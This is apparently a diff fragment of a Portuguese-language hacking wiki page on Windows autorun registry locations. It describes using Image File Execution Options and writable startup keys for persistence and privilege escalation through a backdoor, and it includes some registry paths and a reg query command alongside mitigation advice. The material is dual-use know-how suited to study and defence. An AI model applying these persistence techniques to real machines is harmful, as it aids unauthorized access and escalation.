reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
|
||||
|
@ -217,10 +217,10 @@ No entanto, você pode criar uma opção de inicialização para não precisar p
|
|||
4. Salve o arquivo.
|
||||
5. Reaplique as permissões corretas (attrib c:\boot.ini +r +s +h).
|
||||
|
||||
Informações da [qui](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
|
||||
Informações obtidas [aqui](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 1:** Se você puder modificar essa chave do registro, poderá apontar sua backdoor.
|
||||
**Exploit 1:** Se você puder modificar essa chave do registro, poderá direcionar sua backdoor.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -314,9 +314,13 @@ Quando um programa é executado no Windows, o sistema operacional verifica se ex
|
|||
|
||||
Para explorar essa vulnerabilidade, um invasor pode adicionar uma entrada nas Opções de Execução de Arquivos de Imagem para um executável privilegiado, como o Prompt de Comando (cmd.exe). Dessa forma, toda vez que o Prompt de Comando for iniciado, o programa especificado nas opções será executado com privilégios elevados.
|
||||
|
||||
#### Execução de Binários Autorun
|
||||
|
||||
Uma técnica comum de escalonamento de privilégios é usar as Opções de Execução de Arquivos de Imagem para executar um binário malicioso sempre que um programa privilegiado for iniciado. Isso pode ser feito adicionando uma entrada nas Opções de Execução de Arquivos de Imagem para o executável privilegiado e especificando o binário malicioso como o programa a ser executado.
|
||||
|
||||
#### Prevenção
|
||||
|
||||
Para evitar a exploração das Opções de Execução de Arquivos de Imagem, é recomendado que os administradores do sistema restrinjam o acesso ao registro do Windows, onde essas opções são armazenadas. Além disso, é importante manter o sistema operacional e os aplicativos atualizados para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
Para mitigar esse tipo de ataque, é recomendado restringir as permissões de gravação nas chaves de registro relacionadas às Opções de Execução de Arquivos de Imagem. Além disso, é importante monitorar as alterações nessas chaves de registro em busca de atividades suspeitas.
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -337,7 +341,7 @@ Encontre mais Autoruns como registros em [https://www.microsoftpressstore.com/ar
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|